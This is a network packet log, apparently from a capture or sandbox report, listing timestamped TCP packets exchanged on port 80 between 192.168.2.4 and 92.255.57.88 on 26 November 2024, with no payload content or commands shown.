Nov 26, 2024 00:07:44.911490917 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:44.911537886 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:44.912136078 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:44.912182093 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:44.912203074 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:44.912246943 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:44.912791967 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:44.912851095 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:44.912975073 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:44.913022041 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:44.913686037 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:44.913697958 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:44.913733006 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:44.913758039 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:44.914555073 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:44.914566994 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:44.914604902 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:44.914630890 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:44.915340900 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:44.915400028 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:44.915533066 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:44.915581942 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:44.916089058 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:44.916141987 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:44.916265011 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:44.916312933 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:44.916945934 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:44.916960001 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:44.917005062 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:44.917793036 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:44.917805910 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:44.917845011 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:44.918451071 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:44.918504000 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:44.918601990 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:44.918652058 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:44.919253111 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:44.919302940 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:44.919431925 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:44.919486046 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:44.920169115 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:44.920181036 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:44.920218945 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:44.920237064 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:44.920851946 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:44.920902967 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:44.921021938 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:44.921065092 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:44.921700954 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:44.921772003 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:44.921896935 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:44.921942949 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:44.922405005 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:44.922456980 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:44.922738075 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:44.922785044 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:44.923373938 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:44.923425913 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:44.923454046 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:44.923499107 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:44.924067974 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:44.924113035 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:44.924237013 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:44.924294949 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:44.924935102 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:44.924988031 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:44.925108910 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:44.925158024 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:44.925821066 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:44.925832987 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:44.925873995 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:44.926498890 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:44.926553965 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:44.926671028 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:44.926721096 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:44.927320957 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:44.927371025 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:44.927455902 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:44.927505016 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:44.927999020 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:44.928049088 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:44.928085089 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:44.928131104 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:44.929589033 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:44.929601908 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:44.929641962 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:44.930406094 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:44.930418968 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:44.930461884 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:44.931183100 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:44.931195974 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:44.931209087 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:44.931230068 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:44.931255102 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:44.931498051 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:44.931546926 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:44.932190895 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:44.932240009 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:44.932379961 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:44.932430029 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:44.933154106 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:44.933166027 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:44.933204889 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:44.933969021 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:44.933980942 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:44.934029102 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:44.934739113 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:44.934750080 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:44.934792995 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:44.935301065 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:44.935375929 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:44.935384989 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:44.935432911 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:44.936052084 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:44.936105967 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:44.936120987 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:44.936167955 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:45.104276896 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:45.104305983 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:45.104320049 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:45.104338884 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:45.104489088 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:45.105081081 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:45.105142117 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:45.105195045 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:45.105242014 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:45.105880976 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:45.105931044 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:45.105990887 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:45.106036901 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:45.106697083 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:45.106748104 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:45.106816053 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:45.106858969 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:45.107518911 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:45.107570887 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:45.107613087 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:45.107659101 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:45.108294964 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:45.108342886 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:45.108453989 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:45.108506918 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:45.109111071 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:45.109159946 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:45.109165907 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:45.109201908 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:45.109972954 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:45.110021114 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:45.110059023 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:45.110100985 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:45.110718012 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:45.110769033 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:45.110835075 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:45.110879898 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:45.111551046 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:45.111598969 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:45.111645937 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:45.111689091 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:45.112359047 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:45.112407923 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:45.112459898 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:45.112502098 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:45.113149881 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:45.113198996 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:45.113210917 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:45.113254070 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:45.113980055 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:45.114027977 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:45.114089966 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:45.114139080 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:45.114778996 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:45.114830971 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:45.114906073 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:45.114954948 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:45.115587950 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:45.115637064 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:45.115700960 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:45.115746975 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:45.116355896 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:45.116405964 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:45.116460085 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:45.116503000 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:45.117171049 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:45.117219925 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:45.117278099 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:45.117322922 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:45.117988110 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:45.118038893 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:45.118086100 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:45.118133068 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:45.118793964 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:45.118835926 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:45.118880033 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:45.118923903 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:45.119605064 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:45.119653940 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:45.119710922 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:45.119755983 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:45.120412111 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:45.120460033 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:45.120507956 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:45.120549917 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:45.121202946 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:45.121247053 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:45.121316910 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:45.121362925 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:45.122025967 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:45.122073889 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:45.122133017 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:45.122174978 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:45.122844934 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:45.122893095 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:45.122930050 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:45.122976065 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:45.123680115 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:45.123728037 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:45.123819113 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:45.123864889 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:45.124439001 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:45.124494076 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:45.124548912 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:45.124593973 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:45.125241041 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:45.125292063 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:45.125330925 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:45.125377893 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:45.126045942 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:45.126092911 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:45.126157045 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:45.126199961 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:45.126868010 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:45.126915932 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:45.126975060 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:45.127018929 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:45.127666950 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:45.127716064 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:45.127758026 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:45.127799034 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:45.128459930 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:45.128508091 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:45.128576040 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:45.128618956 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:45.129276991 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:45.129323959 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:45.129360914 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:45.129399061 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:45.130153894 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:45.130202055 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:45.130239964 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:45.130280018 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:45.130882978 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:45.130944967 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:45.131001949 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:45.131047010 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:45.131736040 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:45.131793022 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:45.131831884 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:45.131877899 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:45.132518053 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:45.132564068 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:45.132600069 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:45.132643938 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:45.133321047 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:45.133368969 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:45.133441925 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:45.133486986 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:45.134285927 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:45.134332895 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:45.134459019 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:45.134506941 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:45.134917974 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:45.134967089 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:45.135026932 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:45.135071993 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:45.135767937 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:45.135817051 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:45.135947943 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:45.135992050 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:45.136544943 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:45.136601925 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:45.136657000 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:45.136704922 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:45.137362957 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:45.137412071 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:45.137418985 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:45.137459040 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:45.138166904 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:45.138211966 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:45.138269901 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:45.138319016 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:45.138972044 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:45.139023066 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:45.139065981 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:45.139105082 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:45.139765978 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:45.139816046 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:45.139848948 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:45.139889956 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:45.140657902 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:45.140708923 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:45.140734911 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:45.140777111 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:45.141412020 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:45.141463041 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:45.141530991 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:45.141575098 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:45.142189026 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:45.142237902 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:45.142306089 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:45.142352104 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:45.143052101 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:45.143100977 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:45.143101931 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:45.143136024 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:45.143791914 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:45.143841028 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:45.143867970 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:45.143909931 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:45.144687891 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:45.144737005 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:45.144826889 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:45.144869089 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:45.145396948 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:45.145447969 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:45.145525932 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:45.145570993 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:45.146164894 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:45.146213055 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:45.314538002 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:45.314563990 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:45.314610004 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:45.314694881 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:45.314728975 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:45.314783096 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:45.315377951 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:45.315433979 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:45.315627098 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:45.315690994 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:45.316167116 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:45.316219091 CET	49753	80	192.168.2.4	92.255.57.88
